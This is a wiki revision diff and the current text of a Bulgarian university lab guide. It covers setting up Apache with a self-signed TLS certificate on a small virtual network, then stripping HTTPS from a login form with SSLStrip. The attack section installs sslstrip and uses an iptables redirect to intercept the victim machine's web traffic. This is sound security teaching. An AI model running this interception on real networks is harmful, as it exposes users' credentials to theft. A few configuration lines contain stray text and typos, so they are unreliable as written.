Difference between revisions of "Apache SSL"

From Ilianko
 
(19 intermediate revisions by the same user not shown)
Line 1: Line 1:
Конфигуриране на Apache с поддръжка на https (TLS/SSL)
+
Конфигуриране на Apache с поддръжка на https (TLS/SSL) и атака с SSLStrip
Опитна постановка
+
Опитна постановка:
 +
Router, Web Server, Web Client.
  
 +
==Мрежови настройки==
  
== Web сървър ==
+
===Router (Attacker)===
 +
Играе ролята на рутер, токча за достъп към Интернет.
 +
Linux Debian, с два активирани интерфейса. Първият е свързан в режим Bridge Adapter, а вторият във internal.
 +
 
 +
Настройка DNS
 +
*nano /etc/resolv.conf
 +
nameserver 8.8.4.4
 +
 
 +
 
 +
 
 +
Настройки на Интерфейси:
 +
nano /etc/network/interfaces
 +
<code><pre>
 +
auto lohttps://www.google.bg/search?q=innodb&gws_rd=cr,ssl&ei=JjAnVrkBwuhqoeSMmAs
 +
iface lo inet loopback
 +
 
 +
# The primary network interface
 +
allow-hotplug eth0
 +
iface eth0 inet static
 +
address 10.3.45.2XX
 +
netmask 255.255.255.0
 +
gateway 10.3.0.1
 +
 
 +
allow-hotplug eth1
 +
iface eth1 inet static
 +
address 172.16.1.1
 +
netmask 255.255.255.0
 +
</pre></code>
 +
 
 +
Активиране на NAT
 +
echo "iptables -A POSTROUTING -t nat -j MASQUERADE" >> /etc/init.d/rc.local
 +
echo "echo 1 > /proc/sys/net/ipv4/ip_forward" >> /etc/init.d/rc.local
 +
 
 +
=== Web сървър ===
 +
 
 +
*nano /etc/resolv.conf
 +
nameserver 8.8.4.4
 +
 
 +
<code><pre>
 +
# The primary network interface
 +
allow-hotplug eth0
 +
iface eth0 inet static
 +
address 172.16.1.2
 +
netmask 255.255.255.0
 +
gateway 172.16.1.1
 +
</code></pre>
 +
 
 +
Инсталация на web сървър
 +
Инсталиране на софтуерни пакети '''''telnet''''', '''''openssl''''', '''''apache2''''', '''''ssh'''''
 +
apt-get update
 +
аpt-get install apache2 openssl ssh
 +
 
 +
 
 +
Проверка дали работи web сървърът.
 +
telnet localhost 80
 +
  GET
 +
 
 +
=== Web client (Victim) ===
 +
windows XP
 +
*IP: 10.3.45.1XX/16
 +
*gateway: 10.3.0.1;
 +
*DNS: 8.8.4.4
 +
*през cmd се добавя път към вътрешна мрежа:
 +
route add 172.16.1.0 MASK 255.255.255.0 10.3.45.2XX
 +
 
 +
 
 +
==Host машина==
 +
Добавяне на път от host машината към web сървъра
 +
route add -net 172.16.1.0/24 gw 10.3.45.100
 +
 
 +
== Web форма ==
 +
 
 +
Тестване на web сървъра през Web клиента
 +
*В браузъра се отваря:
 +
http://172.16.1.2/index.html
 +
 
 +
Качване на форма form.html
 +
*Подгответе web форма и я качете през ssh на веб сървъра
 
<code><pre>
 
<code><pre>
 
<html>
 
<html>
Line 11: Line 90:
 
   </head>
 
   </head>
 
   <body>
 
   <body>
     <form action="" method="post">
+
     <form action="https://172.16.1.2/index.html" method="post">
 
       <table>
 
       <table>
 
         <tr>
 
         <tr>
Line 19: Line 98:
 
         <tr>
 
         <tr>
 
           <td>Password</td>
 
           <td>Password</td>
           <td><input type="password" name="pass" value="" maxlength="100" />/td>
+
           <td><input type="password" name="pass" value="" maxlength="100" /></td>
 
         </tr>
 
         </tr>
 
         <tr>
 
         <tr>
Line 31: Line 110:
  
  
 +
Свързване от '''''Хост компютъра''''' към виртуалния Web сървър през ssh.
  
3. Инсталиране на софтуерни пакети '''''openssl''''', '''''apache2''''', '''''ssh'''''
+
Отваря се терминал на хост машината и се изпълнява
  :~$ apt-get update
+
  :-$ ssh student@172.16.1.1
:~$ apt-get install apache2 openssl ssh
 
  
4. Проверка дали работи web сървърът.
+
===Активиране на https===
  
От брaузър на хост машината се зарежда IP адреса на web сървъра.
+
*Активиране на ssl модул:
 +
a2enmod ssl
  
5. Свързване от '''''Хост компютъра''''' към виртуалния Web сървър през ssh.
+
*Настройка на web директория Apache. Ще се модифицира примерната конфигурация
 +
cd /etc/apache2
 +
cp sites-available/default-ssl sites-enabled/
 +
nano sites-enabled/default-ssl
 +
service apache2 restart
  
Отваря се терминал на хост машината и се изпълнява
+
*добавете към index.html връзка към формата
  :-$ ssh student@10.3.45.10X
+
  <a href=https://172.16.1.2/form.html >Forma</a>
  
6. Генериране на ...
+
=== Генериране на собствен самоподписан сертификат ===
  
Да се създаде директория ~/keys
+
*Да се създаде директория /root/keys
  :~$ mkdir ~/keyes
+
  mkdir /root/keyes
  :~$ cd ~/keys  
+
  cd /root/keys  
 
   
 
   
Генериране на само-подписан сертификат и частен ключ
+
*Генериране на самоподписан сертификат и частен ключ
  :~$ openssl req -new -x509 -days 365 -nodes -out apache.pem -keyout apache.key
+
  openssl req -new -x509 -days 365 -nodes -out apache.pem -keyout apache.key
 +
 +
Common Name (e.g. server FQDN or YOUR name) []: '''''tugab.bg'''''
 +
...
  
Common Name (e.g. server FQDN or YOUR name) []: '''''tugab.bg'''''
+
*Проверете генерираните файлове
  
Проверете генерираните файлове
 
  
7. Настройка на Apache2
+
*Редактирайте пътищата към сертификата и частния ключа. Редактирайте файла /etc/apache2/sites-enabled/default-ssh
 
 
Активиране на ssl модул
 
:~$ a2enmod ssl
 
 
 
Настройка на web директория Apache. Ще се модифицира примерната конфигурация
 
:~$ cd /etc/apache2
 
:~$ cp sites-available/default-ssl sites-enabled/
 
:~$ nano sites-enabled/default-ssl
 
 
 
Редактирайте пътищата към сертификата и частния ключа
 
 
<code><pre>
 
<code><pre>
 +
...
 
  SSLEngine on
 
  SSLEngine on
  
Line 79: Line 156:
 
         SSLCertificateFile    /root/keys/apache.pem
 
         SSLCertificateFile    /root/keys/apache.pem
 
         SSLCertificateKeyFile /root/keys/apache.key
 
         SSLCertificateKeyFile /root/keys/apache.key
 
+
...
</pre></code>
 
 
 
9. Рестатирайте apache и Тествайте връзката към '''''https://10.3.45.10X'''''
 
:~$ /etc/init.d/apache2 restart
 
 
 
 
 
===Attacker===
 
Играе ролята на рутер, токча за достъп към Интернет.
 
Linux Debian, с два активирани интерфейса. Първият е свързан в режим Bridge Adapter, а вторият във internal.
 
 
 
Настройки на Интерфейси:
 
*nano /etc/resolv.conf
 
<code><pre>
 
auto lo
 
iface lo inet loopback
 
 
 
# The primary network interface
 
allow-hotplug eth0
 
iface eth0 inet static
 
address 10.3.45.2XX
 
netmask 255.255.255.0
 
gateway 10.3.0.1
 
 
 
allow-hotplug eth1
 
iface eth1 inet static
 
address 172.16.1.1
 
netmask 255.255.255.0
 
 
</pre></code>
 
</pre></code>
  
Активиране на NAT
+
*Рестатирайте apache и Тествайте връзката към '''''https://10.3.45.1XX'''''
  iptables -A POSTROUTING -t nat -j MASQUERADE
+
  service apache2 restart
echo 1 > /proc/sys/net/ipv4/ip_forward
 
  
 +
== Атака на връзката ==
  
 +
Инсталиране sslstrip
  
# The primary network interface
+
apt-get install sslstrip
allow-hotplug eth0
 
iface eth0 inet static
 
address 172.16.1.2
 
netmask 255.255.255.0
 
gateway 172.16.1.1
 
 
 
  
===Victim===
+
пренасочване на порт
windows XP
+
  iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
*IP: 10.3.45.1XX/16
 
*gateway: 10.3.0.1;
 
*DNS: 8.8.4.4
 
*през cmd се добавя път към вътрешна мрежа:
 
  route add 172.16.1.0 MASK 255.255.255.0 10.3.45.2XX
 
  
==Host машина==
+
стартиране на sslstrip
Добавяне на път от host машината към web сървъра
+
  sslstrip -L 10000
  route add -net 172.16.1.0/24 gw 10.3.45.100
 
  
  
 +
Да се тества премахването на https връзките.
  
  

Latest revision as of 10:04, 22 October 2015

Конфигуриране на Apache с поддръжка на https (TLS/SSL) и атака с SSLStrip Опитна постановка: Router, Web Server, Web Client.

Мрежови настройки

Router (Attacker)

Играе ролята на рутер, токча за достъп към Интернет. Linux Debian, с два активирани интерфейса. Първият е свързан в режим Bridge Adapter, а вторият във internal.

Настройка DNS

  • nano /etc/resolv.conf
nameserver 8.8.4.4


Настройки на Интерфейси: nano /etc/network/interfaces

auto lohttps://www.google.bg/search?q=innodb&gws_rd=cr,ssl&ei=JjAnVrkBwuhqoeSMmAs
iface lo inet loopback

# The primary network interface
allow-hotplug eth0
iface eth0 inet static
address 10.3.45.2XX
netmask 255.255.255.0
gateway 10.3.0.1

allow-hotplug eth1
iface eth1 inet static
address 172.16.1.1
netmask 255.255.255.0

Активиране на NAT

echo "iptables -A POSTROUTING -t nat -j MASQUERADE" >> /etc/init.d/rc.local
echo "echo 1 > /proc/sys/net/ipv4/ip_forward" >> /etc/init.d/rc.local

Web сървър

  • nano /etc/resolv.conf
nameserver 8.8.4.4
# The primary network interface
allow-hotplug eth0
iface eth0 inet static
address 172.16.1.2
netmask 255.255.255.0
gateway 172.16.1.1
</code>

Инсталация на web сървър Инсталиране на софтуерни пакети telnet, openssl, apache2, ssh

apt-get update
аpt-get install apache2 openssl ssh


Проверка дали работи web сървърът.

telnet localhost 80
  GET

Web client (Victim)

windows XP

  • IP: 10.3.45.1XX/16
  • gateway: 10.3.0.1;
  • DNS: 8.8.4.4
  • през cmd се добавя път към вътрешна мрежа:
route add 172.16.1.0 MASK 255.255.255.0 10.3.45.2XX


Host машина

Добавяне на път от host машината към web сървъра

route add -net 172.16.1.0/24 gw 10.3.45.100

Web форма

Тестване на web сървъра през Web клиента

  • В браузъра се отваря:
http://172.16.1.2/index.html

Качване на форма form.html

  • Подгответе web форма и я качете през ssh на веб сървъра
<html>
  <head> 
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
    <title>Untitled Document</title>
  </head>
  <body>
    <form action="https://172.16.1.2/index.html" method="post">
      <table>
        <tr>
          <td>User: </td>
          <td><input type="text" name="name" value="" maxlength="100" /></td>
        </tr>
        <tr>
          <td>Password</td>
          <td><input type="password" name="pass" value="" maxlength="100" /></td>
        </tr>
        <tr>
          <td colspan="2"><input name="submit" type="submit" value="Submit" /></td>
        </tr>
      </table>
    </form>
  </body>
</html>


Свързване от Хост компютъра към виртуалния Web сървър през ssh.

Отваря се терминал на хост машината и се изпълнява

:-$ ssh student@172.16.1.1

Активиране на https

  • Активиране на ssl модул:
a2enmod ssl
  • Настройка на web директория Apache. Ще се модифицира примерната конфигурация
cd /etc/apache2
cp sites-available/default-ssl sites-enabled/
nano sites-enabled/default-ssl
service apache2 restart
  • добавете към index.html връзка към формата
<a href=https://172.16.1.2/form.html >Forma</a>

Генериране на собствен самоподписан сертификат

  • Да се създаде директория /root/keys
mkdir /root/keyes
cd /root/keys 

  • Генериране на самоподписан сертификат и частен ключ
openssl req -new -x509 -days 365 -nodes -out apache.pem -keyout apache.key

Common Name (e.g. server FQDN or YOUR name) []: tugab.bg
...
  • Проверете генерираните файлове


  • Редактирайте пътищата към сертификата и частния ключа. Редактирайте файла /etc/apache2/sites-enabled/default-ssh
...
 SSLEngine on

        #   A self-signed (snakeoil) certificate can be created by installing
        #   the ssl-cert package. See
        #   /usr/share/doc/apache2.2-common/README.Debian.gz for more info.
        #   If both key and certificate are stored in the same file, only the
        #   SSLCertificateFile directive is needed.
        SSLCertificateFile    /root/keys/apache.pem
        SSLCertificateKeyFile /root/keys/apache.key
...
  • Рестатирайте apache и Тествайте връзката към https://10.3.45.1XX
service apache2 restart

Атака на връзката

Инсталиране sslstrip

apt-get install sslstrip

пренасочване на порт

iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000

стартиране на sslstrip

sslstrip -L 10000


Да се тества премахването на https връзките.



https://wiki.debian.org/Self-Signed_Certificate http://blog.donovan-jimenez.com/2011/03/adding-new-trusted-certificate-on.html http://httpd.apache.org/docs/2.2/ssl/ssl_faq.html http://www.thegeekstuff.com/2011/03/install-apache2-ssl/ http://onlamp.com/onlamp/2008/03/04/step-by-step-configuring-ssl-under-apache.html